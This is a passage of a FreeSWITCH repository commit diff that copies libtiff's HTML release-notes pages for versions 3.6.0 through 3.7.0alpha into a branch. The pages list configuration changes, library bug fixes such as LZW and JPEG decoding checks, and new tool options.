+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<ul>
+	<li> New utility <a href=./man/raw2tiff.1.html>raw2tiff</a>
+for converting raw rasters into TIFF files.
+	<li> Lots of new <a href=./man/tiff2ps.1.html>tiff2ps</a> options.
+	<li> Lots of new <a href=./man/fax2tiff.1.html>fax2tiff</a> options.
+	<li> Lots of bug fixes for LZW, JPEG and OJPEG compression. 
+</ul>
+
+<h3>Custom Tag Support</h3>
+
+The approach to extending libtiff with custom tags has changed radically.
+Previously, all internally supported TIFF tags had a place in the 
+private TIFFDirectory structure within libtiff to hold the values (if read),
+and a "field number" (ie. FIELD_SUBFILETYPE) used to identify that tag. 
+However, every time a new tag was added to the core, the size of the
+TIFFDirectory structure would changing, breaking any dynamically linked
+software that used the private data structures.<p>
+
+Also, any tag not recognised
+by libtiff would not be read and accessable to applications without some
+fairly complicated work on the applications part to pre-register the tags
+as exemplified by the support for "Geo"TIFF tags by libgeotiff layered on
+libtiff.  <p>
+
+Amoung other things this approach required the extension code
+to access the private libtiff structures ... which made the higher level
+non-libtiff code be locked into a specific version of libtiff at compile time.
+This caused no end of bug reports!<p>
+
+The new approach is for libtiff to read all tags from TIFF files.  Those that
+aren't recognised as "core tags" (those having an associated FIELD_ value, 
+and place for storage in the TIFFDirectory structure) are now read into a 
+dynamic list of extra tags (td_customValues in TIFFDirectory).  When a new
+tag code is encountered for the first time in a given TIFF file, a new 
+anonymous tag definition is created for the tag in the tag definition list. 
+The type, and some other metadata is worked out from the instance encountered.
+These fields are known as "custom tags".  <p>
+
+Custom tags can be set and fetched normally using TIFFSetField() and 
+TIFFGetField(), and appear pretty much like normal tags to application code.
+However, they have no impact on internal libtiff processing (such as
+compression).  Some utilities, such as tiffcp will now copy these custom
+tags to the new output files. <p>
+
+As well as the internal work with custom tags, new C API entry points
+were added so that extension libraries, such as libgeotiff, could 
+define new tags more easily without accessing internal data structures.  
+Because tag handling of extension tags is done via the "custom fields" 
+mechanism as well, the definition provided externally mostly serves to provide
+a meaningful name for the tag.
+
+The addition of "custom tags" and the altered approach to extending libtiff
+with externally defined tags is the primary reason for the shift to the 
+3.6.x version number from 3.5.x.<p>
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<li> configure, config.site: Fix for large files (>2GiB) support. New
+option in the config.site: LARGEFILE="yes". Should be enougth for the large
+files I/O.
+
+<li> configure: Set -DPIXARLOG_SUPPORT option along with -DZIP_SUPPORT.
+
+<li> html/Makefile.in: Updated to use groffhtml for generating html pages
+from man pages.
+
+<li> configure, libtiff/Makefile.in: Added SCO OpenServer 5.0.6 support
+from John H. DuBois III.  
+
+<li> libtiff/{Makefile.vc, libtiff.def}: Missed declarations added.
+
+<li> libtiff/Makefile.in, tools/Makefile.in: Shared library will not be
+stripped when installing, utility binaries will do be stripped. As per bug 93.
+
+<li> man/Makefile.in: Patch DESTDIR handling as per bug 95.
+
+<li> configure: OpenBSD changes for Sparc64 and DSO version as per bug 96.
+
+<li> config.site/configure: added support for OJPEG=yes option to enable
+OJPEG support from config.site.
+
+<li> config.guess, config.sub: Updated from ftp.gnu.org/pub/config.
+
+<li> configure: Modify CheckForBigEndian so it can work in a cross
+compiled situation.
+
+<li> configure, libtiff/Makefile.in: Changes for building on MacOS 10.1
+as per bug 94.
+
+<li> html/Makefile.in: added missing images per bug 92.
+
+<li> port/Makefile.in: fixed clean target per bug 92.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+<li> libtiff/tif_getimage.c: New function <A
+HREF="./man/TIFFReadRGBAImage.3t.html">TIFFReadRGBAImageOriented()</A>
+implemented to retrieve raster array with user-specified origin position.
+
+<li> libtiff/tif_fax3.c: Fix wrong line numbering.
+
+<li> libtiff/tif_dirread.c: Check field counter against number of fields.
+
+<li> Store a list of opened IFD to prevent directory looping.
+
+<li> libtiff/tif_jpeg.c: modified segment_height calculation to always
+be a full height tile for tiled images.  Also changed error to just
+be a warning.
+
+<li> libtiff/tif_lzw.c: fixed so that decoder state isn't allocated till
+LZWSetupDecode().  Needed to read LZW files in "r+" mode.
+	
+<li> libtiff/tif_dir.c: fixed up the tif_postdecode settings responsible
+for byte swapping complex image data.
+	
+<li> libtiff/tif_open.c: Removed error if opening a compressed file
+in update mode bug (198).
+
+<li> libtiff/tif_write.c: TIFFWriteCheck() now fails if the image is
+a pre-existing compressed image.  That is, image writing to pre-existing
+compressed images is not allowed.
+
+<li> html/man/*.html: Web pages regenerated from man pages.
+
+<li> libtiff/tif_jpeg.c: Hack to ensure that "boolean" is defined properly
+on Windows so as to avoid the structure size mismatch error from libjpeg
+(bug 188).
+
+<li> libtiff/tiff.h: #ifdef USING_VISUALAGE around previous Visual Age
+AIX porting hack as it screwed up gcc. (bug 39)
+
+<li> libtiff/tiff.h: added COMPRESSION_JP2000 (34712) for LEAD tools
+custom compression.
+
+<li> libtiff/tif_dirread.c: Another fix for the fetching SBYTE arrays
+by the TIFFFetchByteArray() function. (bug 52)
+
+<li> libtiff/tif_dirread.c: Expand v[2] to v[4] in TIFFFetchShortPair()
+as per bug 196.
+
+<li> libtiff/tif_lzw.c: Additional consistency checking added in
+LZWDecode() and LZWDecodeCompat() fixing bugs 190 and 100.
+
+<li> libtiff/tif_lzw.c: Added check for valid code lengths in LZWDecode()
+and LZWDecodeCompat(). Fixes bug 115.
+
+<li> tif_getimage.c: Ensure that TIFFRGBAImageBegin() returns the
+return code from the underlying pick function as per bug 177.
+
+<li> libtiff/{tif_jpeg.c,tif_strip.c,tif_print.c}: Hacked tif_jpeg.c to
+fetch TIFFTAG_YCBCRSUBSAMPLING from the jpeg data stream if it isn't
+present in the tiff tags as per bug 168.
+
+<li> libtiff/tif_jpeg.c: Fixed problem with setting of nrows in 
+JPEGDecode() as per bug 129. 
+
+<li> libtiff/tif_read.c, libtiff/tif_write.c: TIFFReadScanline() and
+TIFFWriteScanline() now set tif_row explicitly in case the codec has
+fooled with the value as per bug 129.
+
+<li> libtiff/tif_ojpeg.c: Major upgrade from Scott.  Details in bug 156.
+
+<li>  libtiff/tif_open.c: Pointers to custom procedures
+in TIFFClientOpen() are checked to be not NULL-pointers.
+
+<li> libtiff/tif_lzw.c: Assertions in LZWDecode and LZWDecodeCompat
+replaced by warnings. Now libtiff should read corrupted LZW-compressed
+files by skipping bad strips as per bug 100.
+	
+<li> libtiff/: tif_dirwrite.c, tif_write.c, tiffio.h:
+<a href=./man/TIFFWriteDirectory.3t.html>TIFFCheckpointDirectory()</a>
+routine added as per bug 124.  The
+<a href=./man/TIFFWriteDirectory.3t.html>TIFFWriteDirectory</a>
+man page discusses this new function as well as the related 
+<a href=./man/TIFFWriteDirectory.3t.html>TIFFRewriteDirectory()</a>.
+
+<li> libtiff/: tif_codec.c, tif_compress.c, tiffiop.h, tif_getimage.c: 
+Introduced
+additional members tif->tif_decodestatus and tif->tif_encodestatus
+for correct handling of unconfigured codecs (we should not try to read
+data or to define data size without correct codecs). See bug 119.
+
+<li> tif_dirread.c: avoid div-by-zero if rowbytes is zero in chop func as
+per bug 111.
+
+<li> libtiff/: tiff.h, tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_dirread.c,
+tif_dirwrite.c: Dwight Kelly added get/put code for new tag XMLPACKET as 
+defined in Adobe XMP Technote. Added missing INKSET tag value from TIFF 6.0 
+spec INKSET_MULTIINK (=2). Added missing tags from Adobe TIFF technotes: 
+CLIPPATH, XCLIPPATHUNITS, YCLIPPATHUNITS, OPIIMAGEID, OPIPROXY and
+INDEXED. Added PHOTOMETRIC tag value from TIFF technote 4 ICCLAB (=9).
+
+<li> libtiff/tif_getimage.c: Additional check for supported codecs added in 
+TIFFRGBAImageOK, TIFFReadRGBAImage, TIFFReadRGBAStrip and TIFFReadRGBATile now
+use TIFFRGBAImageOK before reading a per bug 110.
+
+<li> libtiff/: tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_dirread.c,
+tif_dirwrite.c: Added routine
+<a href=./man/TIFFDataWidth.3t.html>TIFFDataWidth</a> for determining
+TIFFDataType sizes instead of working with tiffDataWidth array
+directly as per bug 109.
+
+<li>libtiff/: tif_dirinfo.c, tif_dirwrite.c: Added possibility to
+read broken TIFFs with LONG type used for TIFFTAG_COMPRESSION,
+TIFFTAG_BITSPERSAMPLE, TIFFTAG_PHOTOMETRIC as per bug 99.
+
+<li> libtiff/{tiff.h,tif_fax3.c}: Add support for __arch64__ as per bug 94.
+
+<li> libtiff/tif_read.c: Fixed TIFFReadEncodedStrip() to fail if the
+decodestrip function returns anything not greater than zero as per bug 97.
+
+<li> libtiff/tif_jpeg.c: fixed computation of segment_width for 
+tiles files to avoid error about it not matching the 
+cinfo.d.image_width values ("JPEGPreDecode: Improper JPEG strip/tile 
+size.") for ITIFF files.  Apparently the problem was incorporated since
+3.5.5, presumably during the OJPEG/JPEG work recently.
+
+<li> libtiff/tif_getimage.c: If DEFAULT_EXTRASAMPLE_AS_ALPHA is 1 
+(defined in tiffconf.h - 1 by default) then the RGBA interface
+will assume that a fourth extra sample is ASSOCALPHA if the
+EXTRASAMPLE value isn't set for it.  This changes the behaviour of
+the library, but makes it work better with RGBA files produced by
+lots of applications that don't mark the alpha values properly.
+As per bugs 93 and 65.
+
+<li> libtiff/tif_jpeg.c: allow jpeg data stream sampling values to 
+override those from tiff directory.  This makes this work with 
+ImageGear generated files. 
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Added page size setting
+when creating PS Level 2.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Fixed PS comment emitted when
+FlateDecode is being used.
+
+<li> <a href=./man/tiffsplit.1.html>tiffsplit</a>: increased the maximum
+number of pages that can be split.
+
+<li> <a href=./man/raw2tiff.1.html>raw2tiff</a>: Added option `-p' to
+explicitly select color	space of input image data.
+
+<li> <a href=./man/tiffmedian.1.html>tiffmedian</a>: Suppiort for large
+(> 2GB) images.
+
+<li> <a href=./man/ppm2tiff.1.html>ppm2tiff</a>: Fixed possible endless loop.
+
+<li> <a href=./man/tiff2rgba.1.html>tiff2rgba</a>: Switched to use
+<A HREF="./man/TIFFReadRGBAImage.3t.html">TIFFReadRGBAImageOriented()</A>
+instead of <A HREF="./man/TIFFReadRGBAImage.3t.html">TIFFReadRGBAImage()</A>.
+
+<li> <a href=./man/tiffcmp.1.html>tiffcmp</a>: Fixed problem with unused data
+comparing (bug 349). `-z' option now can be used to set the number of reported
+different bytes.
+
+<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Added possibility to specify
+value -1 to -r option to get the entire image as one strip (bug 343).
+
+<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Set the correct RowsPerStrip
+and PageNumber values (bug 343).
+	
+<li> <a href=./man/fax2tiff.1.html>fax2tiff</a>: Page numbering fixed (bug
+341).
+
+<li> <a href=./man/ppm2tiff.1.html>ppm2tiff</a>: PPM header parser improved:
+now able to skip comments.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Force deadzone printing when
+EPS output specified (bug 325).
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Add ability to generate
+PS Level 3. It basically allows one to use the /flateDecode filter for ZIP
+compressed TIFF images. Patch supplied by Tom Kacvinsky (bug 328).
+	
+<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Fixed problem with colorspace
+conversion for JPEG encoded images (bugs 23 and 275)
+
+<li> <a href=./man/fax2tiff.1.html>fax2tiff</a>: Applied patch from
+Julien Gaulmin. More switches for fax2tiff tool for better control
+of input and output (bugs 272 and 293).
+
+<li> <a href=./man/raw2tiff.1.html>raw2tiff</a>:
+New utility for turning raw raster images into TIFF files
+written by Andrey Kiselev.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>:
+Sebastian Eken provided patches (bug 200) to add new these new 
+switches:
+  <ul>
+    <li> <b>-b #</b>: for a bottom margin of # inches
+    <li> <b>-c</b>: center image
+    <li> <b>-l #</b>: for a left margin of # inches
+    <li> <b>-r</b>: rotate the image by 180 degrees
+  </ul>
+
+Also, new features merged with code for shrinking/overlapping.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Don't emit BeginData/EndData
+DSC comments since we are unable to properly include the amount to skip
+as per bug 80.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Added workaround for some
+software that may crash when last strip of image contains fewer number
+of scanlines than specified by the `/Height' variable as per bug 164.
+
+<li> <a href=./man/tiff2ps.1.html>tiff2ps</a>: Patch from John Williams to add new 
+functionality for tiff2ps utility splitting long images in several pages as
+per bug 142. New switches:
+	<ul>
+		<li> <b>-H #</b>: split image if height is more than # inches
+		<li> <b>-L #</b>: overLap split images by # inches
+	</ul>
+
+<li>  <a href=./man/tiff2ps.1.html>tiff2ps</a>: New commandline
+switches to override resolution units obtained from the input file per bug 131:
+	<ul>
+		<li> <b>-x</b>: override resolution units as centimeters
+		<li> <b>-y</b>: override resolution units as inches
+	</ul>
+
+<li> <a href=./man/fax2tiff.1.html>fax2tiff</a>: Updated to reflect
+latest changes in libtiff per bug 125.
+
+<li> tiff2ps: Division by zero fixed as per bug 88.
+
+<li> <a href=./man/tiffcp.1.html>tiffcp<a>:
+Added support for 'Orientation' tag.
+
+<li> <a href=./man/tiffdump.1.html>tiffdump</a>:
+include TIFFTAG_JPEGTABLES in tag list.
+
+<li> tiffset: fix bug in error reporting.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+<UL> 
+
+<li> Fixed distribution to include contrib/addtiffo/tif_ovrcache.{c,h}.
+<li> libtiff/contrib/win95: renamed to contrib/win_dib.  Added new 
+Tiffile.cpp example of converting TIFF files into a DIB on Win32 as per 
+bug 143.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+<li> LZW compression kit synchronized with actual libtiff version.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2003/10/04 11:38:17 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.6.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,199 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.6.1
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.6.1<BR>
+<B>Previous Version</B>: <A HREF=v3.6.0.html>v3.6.0</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<ul>
+	<li> New utility <a href="./man/tiff2pdf.1.html">tiff2pdf</a>
+	for converting TIFF images directly into PDF.
+	<li> New <a href="./man/TIFFcolor.3t.html">color conversion module</a>.
+	<li> Full support for Orientation tag in
+	<a href="./man/TIFFReadRGBAImage.3t.html">TIFFRGBAImage</a> interface.
+	<li> Many bugs fixed.
+</ul>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+
+<li> libtiff/makefile.vc, tools/makefile.vc: Support for IJG JPEG library.
+
+<li> Makefile.in: Add an absolute path to the test_pics.sh call.
+
+<li> Makefile.in: Add an absolute path to the test_pics.sh call.
+
+<li> libtiff/tiffcomp.h: #define _BSDTYPES_DEFINED when defining BSD typedefs.
+
+<li> configure, libtiff/{Makefile.in, mkversion.c}: Relative buildings fixed.
+
+<li> Makefile.in: Add an absolute path to the test_pics.sh call.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+<li> libtiff/{tif_color.c, tif_getimage.c, tiffio.h}: Added support
+for ReferenceBlackWhite tag handling when converted from YCbCr color space as
+per bug 120.
+
+<li> libtiff/{tif_getimage.c, tif_aux.c}: Read WhitePoint tag from the
+file and properly use it for CIE Lab 1976 to RGB transform.
+
+<li> libtiff/{tif_getimage.c, tiffio.h}: Finally resolved problems with
+orientation handling. TIFFRGBAImage interface now properly supports all
+possible orientations, i.e. images will be flipped both in horizontal and
+vertical directions if required. 'Known bugs' section now removed from the
+appropriate manual pages.
+
+<li> libtiff/tif_luv.c: Fixed bug in 48-bit to 24-bit conversion routine,
+reported by Antonio Scuri.
+
+<li> libtiff/{tiffio.h, tif_codec.c}: Added new function
+TIFFIsCODECConfigured(), suggested by Ross Finlayson.
+
+<li> libtiff/tif_ojpeg.c: TIFFVGetField() function now can properly extract
+the fields from the OJPEG files. Patch supplied by Ross	Finlayson.
+
+<li> libtiff/tif_dir.h: _TIFFFindOrRegisterdInfo declaration replaced
+with _TIFFFindOrRegisterFieldInfo as reported by Ross Finlayson.
+
+<li> libtiff/tif_dirinfo.c: Implemented binary search in _TIFFMergeFieldInfo().
+Patch supplied by Ross Finlayson.
+
+<li> tif_dirread.c: do not mark all anonymously defined tags to be IGNOREd (as
+it was done in 3.6.0).
+
+<li> libtiff/{tiff.h, tif_dirinfo.c}: Added support for IFD (13) datatype,
+intruduced in "Adobe PageMaker TIFF Technical Notes".
+
+<li> libtiff/{tif_color.c, tif_getimage.c, tiffio.h}: New color space
+conversion code: CIE L*a*b* 1976 images now supported by the TIFFRGBAImage
+interface. YCbCr to RGB conversion code also moved there and now has
+<a href="./man/TIFFcolor.3t.html">publicly available interface</a>. These
+routines currently used in TIFFRGBAImage interface only and not supported in
+other libtiff tools yet. So if you want, for example, to convert CIE Lab image
+into PostScript file you should do it in two steps: chnge colorspace to RGB
+using <a href="./man/tiff2rgba.1.html">tiff2rgba</a> utility abd then process
+it with the <a href="./man/tiff2ps.1.html">tiff2ps</a>.
+
+<li> libtiff/tif_tile.c: Remove spurious use of "s" (sample) in the
+planarconfig_contig case in TIFFComputeTile() as per bug 387
+
+<li> libtiff/tiffiop.h: New macros: TIFFmax and TIFFmin.
+
+<li> libtiff/{tiffio.h, tif_strip.c}: Added TIFFRawStripSize() function
+as suggested by Chris Hanson.
+
+<li> libtiff/{tif_lzw.c, tif_fax3.c}: Proper support for update mode
+as per bug 424.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+
+<li> <a href=./man/tiff2pdf.1.html>tiff2pdf</a>: New tool, written by
+Ross Finlayson, to directly convert TIFF files to PDF.
+
+<li> <a href=./man/tiffgt.1.html>tiffgt</a>: Unmaintained and platform
+dependent sgigt utility removed and replaced with the completely rewritten
+portable <a href=./man/tiffgt.1.html>tiffgt</a> tool (depend on OpenGL and
+GLUT). This tool will not build by default.
+
+<li> <a href=./man/ras2tiff.1.html>ras2tiff</a>: Properly determine
+SUN Rasterfiles with the reverse byte order (it is reported by the magic
+header field). Problem reported by Andreas Wiesmann.
+
+<li> <a href=./man/raw2tiff.1.html>raw2tiff</a>: Implemented image size
+guessing using correlation coefficient calculation between two neighbour
+lines.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+<UL> 
+
+<li> contrib/pds/{tif_pdsdirread.c, tif_pdsdirwrite.c}: Use TIFFDataWidth()
+function insted of tiffDataWidth array.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+<li> Proper support for update mode as per bug 424.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2003/12/24 22:14:15 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.0.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.0
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.0<BR>
+<B>Previous Version</B>: <A HREF=v3.7.0beta2.html>v3.7.0beta2</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+
+	<li> Several bugs found after 3.7.0beta2 release were fixed.
+
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> ltmain.sh: Fix for MinGW compilation.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+	<li> libtiff/{tif_dirread.c, tif_jpeg.c, tif_luv.c, tif_ojpeg.c,
+	tif_pixarlog.c, tif_write.c}: Handle the zero strip/tile sizes
+	properly (Dmitry V. Levin, Marcus Meissner).
+
+	<li> libtiff/tif_dirinfo.c: Type of the TIFFTAG_SUBIFD field changed
+	to TIFF_IFD.
+	
+	<li> Preliminary support for BigTIFF files: now libtiff can
+	recognize and reject to open such images. ;-)
+
+	<li> libtiff/tif_dir.c: Initialize td_tilewidth and td_tilelength fields
+	of the TIFFDirectory structure with the 0 instead of -1 to avoid
+	confusing integer overflows in TIFFTileRowSize() for striped images.
+
+	<li> libtiff/tif_dir.c: Initialize td_tilewidth and td_tilelength fields
+	of the TIFFDirectory structure with the 0 instead of -1 to avoid
+	confusing integer overflows in TIFFTileRowSize() for striped images.
+
+	<li> libtiff/tif_dirinfo.c: Fix bug with tif_foundfield and reallocation
+	of tif_fieldinfo as per bug
+	<A HREF="http://bugzilla.remotesensing.org/show_bug.cgi?id=630">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=630</A>
+
+	<li> libtiff/tif_compress.c: Improved error reporting in
+	TIFFGetConfiguredCODECs() (Dmitry V. Levin).
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiffcmp.c (leof): Renamed from 'eof' in order to avoid
+	conflict noticed under MinGW.
+
+	<li> tiff2pdf.c: Fixed TransferFunction tag handling reported
+	by Ross A. Finlayson.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> No changes.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+	<li> This one is not longer needed.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2004/12/20 19:31:44 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0alpha.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0alpha.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.0alpha.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0alpha.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0alpha.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,249 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.0alpha
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.0alpha<BR>
+<B>Previous Version</B>: <A HREF=v3.6.1.html>v3.6.1</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
